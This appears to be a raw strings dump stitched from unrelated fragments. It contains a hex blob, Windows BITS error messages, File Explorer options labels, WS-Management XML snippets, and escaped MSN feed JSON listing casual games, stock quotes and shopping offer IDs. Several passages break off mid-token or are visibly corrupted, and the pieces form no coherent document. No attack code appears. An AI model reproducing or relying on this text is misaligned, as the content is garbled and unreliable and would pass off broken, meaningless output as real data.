35B959F8A6B5F7D0FFC39E4B8692DF6FF3C432:2F2C0866F3" 0:CA185DED361E4F43AAE4280F2B2198855130B863B7F1876601910C9ACFE975B95D98D161C8A46E37DE6D6D6E0576EC46FB2F332551F8152CE608DF9A265D6B7E69281A24E8F14987548DE234027BBACBF60FE3CDAB64840423EE36C9121784CE92BE89555C233FA6EED618B86B428DF0EBB1ECFB3AF64684B687948BE9AE2DB2AA388195EFFBCE93A9FCDAFF1784559D5CCA6A48A250B5C260B4FE6AACF7D70AE2668033A83DBE8EBF8EB0FF5B8C7615645F444F583770BD44EF852A6EFAD6198F93E356BA983E2977ACC079F53473F675A5C4065A3B044997DE786439162D9F0978BE45C37BD2BE82A1B373C9245A9F4FE32BE3A5247D94CB2F2B5E3035DF6D63071F264D9EDD1C6A92C2C674DBB1CA2F6CC9EA312C6DBB19CD39274F46465CB2E8E4 ating with an Internet Gateway Device. Please check that the device is functioning properly. BITS will not attempt to use this device until the next system reboot. Error code: %1. Error %3 occurred when BITS tried to change the state of firewall rule "%1" to %2. Restarting the BITS service may correct the problem. The Per-user job limit (%2) specified through Group Policy must be less than or equal to Per-computer job Limit (%3). To correct the problem, modify BITS Group Policy settings and restart the BITS service. A new BITS job could not be created. The current job count for the user %1 (%2) is equal to or greater than the job limit (%3) specified through group policy. To correct the problem, complete or cancel the BITS jobs that haven't made progress by looking at the error, and restart the BITS service. If this error recurs, contact your system administrator and increate the per-user and per-computer Group Policy job limits. A new BITS job could not be created. The current job count for this computer (%2) is equal to or greater than the per-computer job limit (%3) specified through Group Policy. To correct the problem, complete or cancel the BITS jobs that haven't made progress by looking at the error and restarting the BITS service. If this error recurs, contact your system administrator and increase the per-computer Group Policy job limits. BITS could not add file(s) to %1 job. The file count for %1 job (%2) has exceeded the per-job file limit (%3) specified through Group Policy. To correct the problem, increase the Computer s per-job file limit Group Policy settings and restart the BITS service. BITS could not add ranges to %1 file. The range count for %1 file (%2) has exceeded the per-file range limit (%3) specified through group policy. To correct the problem, increase the per-file range limit Group Policy setting and restart the BITS service. The BITS service has detected an exception, Function: %1, Line: %2 Error code: %3. A bandwidth profile is not configu en-CB Open each folder in the sa&me window Open each folder in its own &window Open desktop folders and external &folder links in new tab Click items as follows &Single-click to open an item (point to select) &Double-click to open an item (single-click to select) Underline icon titles consistent with my &browser Underline icon titles only when I &point at them Privacy Show recently used files Show frequently used folders Show files from Office.com Clear File Explorer history &Clear &Restore Defaults General MS Shell Dlg Open File Explorer to: Browse folders Open each folder in the sa&me window Open each folder in its own &window Open desktop folders and external &folder links in new tab Click items as follows &Single-click to open an item (point to select) &Double-click to open an item (single-click to select) Underline icon titles consistent with my &browser Underline icon titles only when I &point at them Privacy Show r&ecently used files Show fre&quently used folders Show recomme&nded section Include acc&ount-based insights, recent, favorite, and recommended files Clear File Explorer history &Clear &Restore Defaults General MS Shell Dlg Open File Explorer to: Browse folders Open each folder in the sa&me window Open each folder in its own &window Click items as follows &Single- dleEx-R- 3++S++ Windows\System32 ;protocol="application/HTTP-CredSSP-session-encrypted";boundary="Encrypted Boundary" "Content-Type:multipart/x-multi-encrypted;protocol="application/HTTP-CredSSP-session-encrypted";boundary="Encrypted Boundary" 7402 7403 7404 7405 7406 7468 7469 GetVersionEx 7690 7691 Advapi32.dll Crypt32.dll \Advapi32.dll \Crypt32.dll 7875 %!FUNC! <w:XmlFragment xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:w="http://schemas.dmtf.org/wbem/wsman/1/wsman.xsd" xmlns:m="http://schemas.microsoft.com/wbem/wsman/1/wsman.xsd"> </w:XmlFragment> http://schemas.microsoft.com/wbem/wsman/1/subscription Subscription Version http://schemas.dmtf.org/wbem/wsman/identity/1/wsmanidentity.xsd CompressionType http://schemas.microsoft.com/wbem/wsman/1/machineid MachineID a:MessageId 1105 1338 1393 xpress 1795 http://www.w3.org/TR/1999/REC-xpath-19991116 1826 2079 2109 2110 2168 2270 2271 2272 2273 2404 LastSequenceIdReceived 2444 ProviderFault provider Text WIN32 <p:MSFT_WmiError b:IsCIM_Error="true" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:b="http://schemas.dmtf.org/wbem/wsman/1/cimbinding.xsd" xmlns:p="http://schemas.dmtf.org/wbem/wscim/1/cim-schema/2/MSFT_WmiError" xmlns:cim="http://schemas.dmtf.org/wbem/wscim/1/common" xsi:type="p:MSFT_WmiError_Type"><p:CIMStatusCode xsi:type="cim:cimUnsignedInt"> </p:CIMStatusCode><p:CIMStatusCodeDescription xsi:type="cim:cimString" xsi:nil="true" /><p:ErrorSource xsi:type="cim:cimString" xsi:nil="true" /><p:ErrorSourceFormat xsi:type="cim:cimUnsignedShort">0</p:ErrorSourceFormat><p:ErrorType xsi:type="cim:cimUnsignedShort">0</p:ErrorType><p:Message xsi:type="cim:cimString"> </p:Message><p:MessageID xsi:type="cim:cimString"> HRESULT 0x%08x </p:MessageID><p:OtherErrorSourceFormat xsi:type="cim:ci e\":\"\",\"defaultRank\":100,\"trailers\":[],\"softLaunched\":false},{\"id\":\"9mz3sdptqwm2\",\"recoItemId\":\"AA1SbMZ3\",\"name\":\"Veck.io\",\"defaultName\":\"Veck.io\",\"market\":\"de-ch\",\"created\":\"2025-12-12T00:08:04.2326228Z\",\"lastModified\":\"2025-12-12T00:08:04.2326228Z\",\"publisherId\":\"CN=6175D223-8F0B-46C8-A9A9-DAFAC8ECEE3F\",\"publisherName\":\"Legion\",\"publishDate\":\"2025-12-12T00:08:04.2300933Z\",\"thumbnailId\":\"OCGE.9mz3sdptqwm2_v3_main\",\"heroThumbnailId\":\"OCGE.9mz3sdptqwm2_v3_hero\",\"thumbnail16x9\":\"OCGE.9mz3sdptqwm2_v3_16x9\",\"playUrl\":\"https://www.msn.com/de-ch/play/games/veckio/cg-9mz3sdptqwm2\",\"genres\":[\"Arcade\",\"Shooter\"],\"subtitle\":\"\",\"defaultRank\":100,\"trailers\":[],\"softLaunched\":false},{\"id\":\"9n0645rlc5sx\",\"recoItemId\":\"AA1TUWdP\",\"name\":\"Ice Cream Inc. \",\"defaultName\":\"Ice Cream Inc. ASMR, DIY Games\",\"market\":\"de-ch\",\"created\":\"2026-01-09T21:29:44.9280961Z\",\"lastModified\":\"2026-01-09T21:29:44.9280961Z\",\"publisherId\":\"CN=418A2BB9-0F5C-4825-BA0A-74139936D4E0\",\"publisherName\":\"Tap Nation\",\"publishDate\":\"2026-01-09T21:29:44.9258974Z\",\"thumbnailId\":\"OCGE.9n0645rlc5sx_v3_main\",\"heroThumbnailId\":\"OCGE.9n0645rlc5sx_v3_hero\",\"thumbnail16x9\":\"OCGE.9n0645rlc5sx_v3_16x9\",\"playUrl\":\"https://www.msn.com/de-ch/play/games/ice-cream-inc-asmr-diy-games/cg-9n0645rlc5sx\",\"genres\":[\"Simulation\",\"Family\"],\"subtitle\":\"\",\"defaultRank\":100,\"trailers\":[],\"softLaunched\":false},{\"id\":\"9nj10wf288jp\",\"recoItemId\":\"AA1UI7aq\",\"name\":\"Playground Man: Ragdoll Show\",\"defaultName\":\"Playground Man: Ragdoll Show\",\"market\":\"de-ch\",\"created\":\"2026-01-22T03:59:50.7570286Z\",\"lastModified\":\"2026-01-22T03:59:50.7570286Z\",\"publisherId\":\"CN=F4FCBD53-0AB6-4935-A416-803BED5D4EF8\",\"publisherName\":\"Playgama\",\"publishDate\":\"2026-01-22T03:59:50.729776Z\",\"thumbnailId\":\"OCGE.9nj10wf288jp_v3_main\",\"heroThumbnailId\":\"OCGE.9nj10wf288jp_v3_hero\",\"thumbnail16x9\":\"OCGE.9nj10wf288jp_v3_16x9\",\"playUrl\":\"https://www.msn.com/de-ch/play/games/playground-man-ragdoll-show/cg-9nj10wf288jp\",\"genres\":[\"Puzzle\",\"Simulation\"],\"subtitle\":\"\",\"defaultRank\":100,\"trailers\":[],\"softLaunched\":false},{\"id\":\"9p8cv7cvz5rl\",\"recoItemId\":\"AA1OGXeE\",\"name\":\"Poxel.io\",\"defaultName\":\"Poxel.io\",\"market\":\"de-ch\",\"created\":\"2025-11-27T08:33:51.9250116Z\",\"lastModified\":\"2025-11-27T08:33:51.9250116Z\",\"publisherId\":\"CN=6175D223-8F0B-46C8-A9A9-DAFAC8ECEE3F\",\"publisherName\":\"Legion\",\"publishDate\":\"2025-10-17T22:31:42.1763776Z\",\"thumbnailId\":\"OCGE.9p8cv7cvz5rl_v5_main\",\"heroThumbnailId\":\"OCGE.9p8cv7cvz5rl_v5_hero\",\"thumbnail16x9\":\"OCGE.9p8cv7cvz5rl_v5_16x9\",\"playUrl\":\"https://www.msn.com/de-ch/play/games/poxelio/cg-9p8cv7cvz5rl\",\"genres\":[\"Arcade\",\"Multiplayer\"],\"subtitle\":\"\",\"defaultRank\":100,\"trailers\":[],\"softLaunched\":false},{\"id\":\"9n21399h2r5p\",\"recoItemId\":\"AA1tlavp\",\"name\":\"Screw Puzzle: Nut and Bolt\",\"defaultName\":\"Screw Puzzle: Nut and Bolt\",\"market\":\"de-ch\",\"created\":\"2024-11-13T19:11:09.650492Z\",\"lastModified\":\"2024-11-13T19:11:09.650492Z\",\"publisherId\":\"CN=B271F10C-BA53-4B8C-A853-E9AE5F9CDBA2\",\"publisherName\":\"Sun.Studio\",\"publishDate\":\"2024-11-13T19:11:09.6376492Z\",\"thumbnailId\":\"OCGE.9n21399h2r5p_v3_main\",\"heroThumbnailId\":\"OCGE.9n21399h2r5p_v3_hero\",\"thumbnail16x9\":\"OCGE.9n21399h2r5p_v3_16x9\",\"playUrl\":\"https://www.msn.com/de-ch/play/games/screw-puzzle-nut-and-bolt/cg-9n21399h2r5p\",\"genres\":[\"Puzzle\",\"Strategy\"],\"subtitle\":\"\",\"defaultRank\":100,\"trailers\":[{\"title\":\"\",\"audioEncoding\":\"\",\"videoEncoding\":\"\",\"videoPurpose\":\"\",\"image\":{\"imageType\":\"\",\"url\":\"\",\"height\":\"\",\"width\":\"\",\"caption\":\"\"},\"url\":\"https://th.bing.com/th?id=OCGE.9n21399h2r5p_v1_trailer_1\",\"height\":\"\",\"width\":\"\",\"bitrate\":\"\",\"videoPositionInfo\":\"\",\"sortOrder\":\"2\"}],\"softLaunched\":false}],\"tmpl\":{\"External\":\"FV=|I=2026-02-24\pdated\":\"2026-02-24T01:44:03.3676659+00:00\",\"timeLastTraded\":\"2026-02-23T21:42:07.895+00:00\",\"exchangeName\":\"Dow Jones Indices\",\"exchangeId\":\"r6dwzv\",\"return1Year\":12.2934,\"return3Year\":0.0,\"returnYTD\":1.5412,\"return1Month\":-0.6001,\"return1Day\":-1.6562,\"localizedAttributes\":{\"de-ch\":{\"displayName\":\"DOW\",\"shortName\":\"DOW\"}}},{\"currency\":\"USD\",\"id\":\"a24s7w\",\"symbol\":\"UBS\",\"price\":\"41.53\",\"priceNumber\":41.53,\"priceDayLow\":41.24,\"priceDayHigh\":42.57,\"marketCap\":146728865620.0,\"priceChange1Month\":-6.02,\"price52wHigh\":49.36,\"price52wLow\":25.75,\"pricePreviousClose\":42.57,\"changeValue\":\"-1.04\",\"changePcnt\":\"-2.44%\",\"changePcntNumber\":-2.443,\"changeValueNumber\":-1.04,\"displayName\":\"UBS Group AG\",\"gain\":false,\"unchanged\":false,\"securityType\":\"Stock\",\"timeLastUpdated\":\"2026-02-24T07:01:19.1315839+00:00\",\"timeLastTraded\":\"2026-02-23T22:52:08.512+00:00\",\"exchangeName\":\"New York Stock Exchange\",\"exchangeId\":\"r6dwor\",\"iconUrl\":\"https://bing.com/th?id=OSK.xH1gNdtcyj-XAsKZObURxI6dCdKE9cUF5CygM0rdYxI\",\"return1Year\":24.0813,\"return3Year\":0.0,\"returnYTD\":-10.3217,\"return1Month\":-12.6604,\"return1Day\":-2.443,\"localizedAttributes\":{\"en-us\":{\"displayName\":\"UBS Group Inc.\"},\"fr-fr\":{\"displayName\":\"UBS Group Inc.\"},\"de-de\":{\"displayName\":\"UBS Group AG\"},\"es-es\":{\"displayName\":\"UBS Group Inc.\"},\"sv-se\":{\"displayName\":\"UBS Group Inc.\"},\"it-it\":{\"displayName\":\"UBS Group Inc.\"},\"ja-jp\":{\"displayName\":\"UBS Group Inc.\"},\"pt-br\":{\"displayName\":\"UBS Group Inc.\"},\"ru-ru\":{\"displayName\":\"UBS Group Inc.\"},\"nl-nl\":{\"displayName\":\"UBS Group Inc.\"}}},{\"currency\":\"USD\",\"id\":\"a24kar\",\"symbol\":\"TSLA\",\"price\":\"399.83\",\"priceNumber\":399.83,\"priceDayLow\":394.04,\"priceDayHigh\":407.7,\"marketCap\":1500334886560.0,\"priceChange1Month\":-49.23,\"price52wHigh\":498.83,\"price52wLow\":214.25,\"pricePreviousClose\":411.82,\"changeValue\":\"-11.99\",\"changePcnt\1288,"y1":400,"y2":756},"source":"msn"}],"provider":{"id":"BB1e7EoL","name":"The Daily Digest","logoUrl":"https://img-s-msn-com.akamaized.net/tenant/amp/entityid/AA1Qf6Db.img","mainLogoUrl":"https://img-s-msn-com.akamaized.net/tenant/amp/entityid/AA1Qf6Db.img","promotionalUrl":"https://thedailydigest.com","profileId":"vid-m9m4jvvns2j07r8ryna4ukyusv9y69vg8cgntexr4kid2uw7wgvs","lightThemeSVGLogo":{"width":0,"height":0,"url":""},"darkThemeSVGLogo":{"width":0,"height":0,"url":""},"feedAllowedFreeItem":0,"lightSquareLogo":{"width":96,"height":96,"url":"https://img-s-msn-com.akamaized.net/tenant/amp/entityid/AA1QeWYF.img","source":"msn"},"darkSquareLogo":{"w ":96,"height":96 m.akamaized.net/tena msn"},L ightFullLogo":{"width":550,"heig 138,"url":/ ttps://img-s-msn-com.akamaized.net/tenant/amp/entityid/AA1Qf3ZH.img","source":"msn"},"darkFullLogo":{"width":547,"height":150,"url":"htt -s-m om.akamaized.net/tenant/amp/entityid/AA1 i.im ,"source":"msn"}},"category":"nachrichten","re onSu "}]} t":1 tHea ,"IsAtfHighQualityCo t":"1"}, mp":0,"feedCompo onCa e":"trending ank" :"337,50 recoId":"d10145d4-61 3","newsClusterIdV5":"312449021" wsClusterIdV6":"-697550000","sou 3124 1"], v\": \"sn 0},{\"cap\":\"Me h\": ky\" TWARE\MI ionTime https://www.msn.com/de-ch/shopping?pid=356119808577\",\"type\":\"products\"}],\"globalProductUrlQueryParams\":[\"modal-offer-ids=299832217192,364749047084,228682091389,297369893236,361393752326,325928835739,357487050247,249295247303,308177393743,405286057806,345692120939,152209634350,395191038165,287478969671,356119808577\",\"modal-image-ids=OPEC.D5ubXxrwQHImaA474C474,OPEC.gD3PJZzqBA7b9A474C474,OPEC.PZEBk%2baA16mfjA474C474,OPEC.v%2feD1GoWZIm2Jg474C474,OPEC.nO01GEHvTAQP0Q474C474,OPEC.tqJcp3o7RwsnrQ474C474,OPEC.V%2bScN0t0T0xivA474C474,OPEC.XQUX8HWH6A%2bKUw474C474,OPEC.aVcDOwPPWVyLfA474C474,OPEC.w7EWu%2fwZySVo%2fA474C474,OPEC.9IjhRUpj1XoGvg474C474,OPEC.Z6qJeDtWJFmcig474C474,OPEC.nRpq20Fqx8PYGg474C474,OPEC.Jme8qEyRoGUGuA474C474,OPEC.Rk%2bBWcPilXcHlg474C474\"],\"metadata\":{\"scenario\":\"TrendingOffers\",\"traceId\":\"b4e46352b9904a6d83b1d0f8c3e5078b\",\"nextOffset\":\"-1\",\"srctmtid\":\"prg-sh-bd-video,prg-sh-rmitmlnk,prg-wpo-pnpc\",\"variants\":\"prg-sh-bd-video,prg-sh-rmitmlnk,prg-wpo-pnpc\",\"responsePromotion\":\"0\",\"suppress\":\"1\",\"miscData\":\"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\",\"userAgeFromReco\":\"-1\",\"wpoDict\":{},\"recoModuleInfo\":{}}}}]}","cardId":40,"wpoMetadata":{"isRecommended":true,"cardPlacementRule":"none"}},{"type":"esportsCasualGames","isLocalContent":false,"height":304.0,"position":0,"data":"{\"games\":[{\"id\":\"9p0rj8ffrg7h\",\"recoItemId\":\"AA1L9JnG\",\"name\":\"bloxd.io\",\"defaultName\":\"bloxd.io\",\"market\":\"de-ch\",\"created\":\"2025-12-04T18:54:11.6524912Z\",\"lastModified\":\"2025-12-04T18:54:11.6524912Z\",\"publisherId\":\"CN=972A03E7-8B8D-4D35-BD72-8921E65DCA4B\",\"publisherName\":\"Bloxd.io\",\"publishDate\":\"2025-08-14T18:52:26.8770237Z\",\"thumbnailId\":\"OCGE.9p0rj8ffrg7h_v7_main\",\"heroThumbnailId\":\"OCGE.9p0rj8ffrg7h_v7_hero\",\"thumbnail16x9\":\"OCGE.9p0rj8ffrg7h_v7_16x9\",\"playUrl\":\"https://www.msn.com/de-ch/play/games/bloxdio/cg-9p0rj8ffrg7h\",\"genres\":[\"Io\",\"Block\"],\"subtitle\":\"\",\"defaultRank\":100,\"trailers\":[],\"softLaunched\":false},{\"id\":\"9p3610rr8qt5\",\"recoItemId\":\"AA1te06L\",\"name\":\"Save The Pets\",\"defaultName\":\"Save The Pets\",\"market\":\"de-ch\",\"created\":\"2024-11-01T19:59:47.3992487Z\",\"lastModified\":\"2024-11-01T19:59:47.3992487Z\",\"publisherId\":\"CN=B271F10C-BA53-4B8C-A853-E9AE5F9CDBA2\",\"publisherName\":\"Sun.Studio\",\"publishDate\":\"2024-11-01T19:59:47.3877038Z\",\"thumbnailId\":\"OCGE.9p3610rr8qt5_v3_main\",\"heroThumbnailId\":\"OCGE.9p3610rr8qt5_v3_hero\",\"thumbnail16x9\":\"OCGE.9p3610rr8qt5_v3_16x9\",\"playUrl\":\"https://www.msn.com/de-ch/play/games/save-the-pets/cg-9p3610rr8qt5\",\"genres\":[\"Puzzle\",\"Family\"],\"subtitle\":\"\",\"defaultRank\":100,\"trailers\":[{\"title\":\"\",\"audioEncoding\":\"\",\"videoEncoding\":\"\",\"videoPurpose\":\"\",\"image\":{\"imageType\":\"\",\"url\":\"\",\"height\":\"\",\"width\":\"\",\"caption\":\"\"},\"url\":\"https://th.bing.com/th?id=OCGE.9p3610rr8qt5_v1_trailer_1\",\"height\":\"\",\"width\":\"\",\"bitrate\":\"\",\"videoPositionInfo\":\"\",\"sortOrder\":\"2\"}],\"softLaunched\":false},{\"id\":\"9nm5764dbppg\",\"recoItemId\":\"AA1ss0R9\",\"name\":\"Space Waves\",\"defaultName\":\"Space Waves\",\"market\":\"de-ch\",\"created\":\"2026-01-16T00:07:30.6198508Z\",\"lastModified\":\"2026-01-16T00:07:30.6198508Z\",\"publisherId\":\"CN=FDCA70EF-6269-43CF-A4FE-4DC4324C5927\",\"publisherName\":\"Crazygames\",\"publishDate\":\"2024-10-21T19:05:35.456392Z\",\"thumbnailId\":\"OCGE.9nm5764dbppg_v9_main\",\"heroThumbnailId\":\"OCGE.9nm5764dbppg_v9_hero\",\"thumbnail16x9\":\"OCGE.9nm5764dbppg_v9_16x9\",\"playUrl\":\"https://www.msn.com/de-ch/play/games/space-waves/cg-9nm5764dbppg\",\"genres\":[\"Adventure\",\"Arcade\"],\"subtitle\":\"\",\"defaultRank\":100,\"trailers\":[],\"softLaunched\":false},{\"id\":\"9p83g3b4h340\",\"recoItemId\":\"AA1p7LL7\",\"name\":\"Blockbuster Puzzle\",\"defaultName\":\"Blockbuster Puzzle\",\"market\":\"de-ch\",\"created\":\"2025-11-20T18:57:04.6662108Z\",\"lastModified\":\"2025-11-20T18:57:04.6662108Z\",\"publisherId\":\"CN=74ABBD7D-0673-4634-97E9-9379CC797397\",\"publisherName\":\"Clever Apps\",\"publishDate\":\"2023-11-03T20:17:58.6789033Z\",\"thumbnailId\":\"OCGE.9p83g3b4h340_v11_main\",\"heroThumbnailId\":\"OCGE.9p83g3b4h340_v11_hero\",\"thumbnail16x9\":\"OCGE.9p83g3b4h340_v11_16x9\",\"playUrl\":\"https://www.msn.com/de-ch/play/games/blockbuster-puzzle/cg-9p83g3b4h340\",\"genres\":[\"Puzzle\"],\"subtitle\":\"\",\"defaultRank\":100,\"trailers\":[],\"softLaunched\":false},{\"id\":\"9pltx207s22g\",\"recoItemId\":\"AA1OCU4l\",\"name\":\"Steal Brainrot Online\",\"defaultName\":\"Steal Brainrot Online\",\"market\":\"de-ch\",\"created\":\"2026-02-23T20:39:10.3493172Z\",\"lastModified\":\"2026-02-23T20:39:10.3493172Z\",\"publisherId\":\"CN=FDCA70EF-6269-43CF-A4FE-4DC4324C5927\",\"publisherName\":\"Crazygames\",\"publishDate\":\"2025-10-16T23:46:56.5771063Z\",\"thumbnailId\":\"OCGE.9pltx207s22g_v9_main\",\"heroThumbnailId\":\"OCGE.9pltx207s22g_v9_hero\",\"thumbnail16x9\":\"OCGE.9pltx207s22g_v9_16x9\",\"playUrl\":\"https://www.msn.com/de-ch/play/games/steal-brainrot-online/cg-9pltx207s22g\",\"genres\":[\"Adventure\",\"Multiplayer\"],\"subtitle\":\"\",\"defaultRank\":100,\"trailers\":[],\"softLaunched\":false},{\"id\":\"9njb654d39wx\",\"recoItemId\":\"AA1qUYZO\",\"name\":\"Thief Puzzle\",\"defaultName\":\"Thief Puzzle\",\"market\":\"de-ch\",\"created\":\"2025-12-03T01:03:22.8231006Z\",\"lastModified\":\"2025-12-03T01:03:22.8231006Z\",\"publisherId\":\"CN=083229A8-A29D-4843-A28A-C3600989E6B1\",\"publisherName\":\"Famobi\",\"publishDate\":\"2024-10-08T01:53:59.5727306Z\",\"thumbnailId\":\"OCGE.9njb654d39wx_v12_main\",\"heroThumbnailId\":\"OCGE.9njb654d39wx_v12_hero\",\"thumbnail16x9\":\"OCGE.9njb654d39wx_v12_16x9\",\"playUrl\":\"https://www.msn.com/de-ch/play/games/thief-puzzle/cg-9njb654d39wx\",\"genres\":[\"Simulation\",\"Puzzle\"],\"subtitle\":\"\",\"defaultRank\":100,\"trailers\":[],\"softLaunched\":false},{\"id\":\"9mzbzsnqx1bs\",\"recoItemId\":\"AA1NyffK\",\"name\":\"Cars Arena\",\"defaultName\":\"Cars Arena\",\"market\":\"de-ch\",\"created\":\"2025-12-03T01:04:59.9425445Z\",\"lastModified\":\"2025-12-03T01:04:59.9425445Z\",\"publisherId\":\"CN=083229A8-A29D-4843-A28A-C3600989E6B1\",\"publisherName\":\"Famobi\",\"publishDate\":\"2025-09-29T23:15:44.8249056Z\",\"thumbnailId\":\"OCGE.9mzbzsnqx1bs_v6_main\",\"heroThumbnailId\":\"OCGE.9mzbzsnqx1bs_v6_hero\",\"thumbnail16x9\":\"OCGE.9mzbzsnqx1bs_v6_16x9\",\"playUrl\":\"https://www.msn.com/de-ch/play/games/cars-arena/cg-9mzbzsnqx1bs\",\"genres\":[\"Arcade\",\"Racing\"],\"subtitle\":\"\",\"defaultRank\":100,\"trailers\":[],\"softLaunched\":false},{\"id\":\"9pc19rxfzl82\",\"recoItemId\":\"AA1p7vjb\",\"name\":\"Mergest Kingdom\",\"defaultName\":\"Mergest Kingdom\",\"market\":\"de-ch\",\"created\":\"2025-06-27T19:41:57.2138896Z\",\"lastModified\":\"2025-06-27T19:41:57.2138896Z\",\"publisherId\":\"CN=74ABBD7D-0673-4634-97E9-9379CC797397\",\"publisherName\":\"Clever 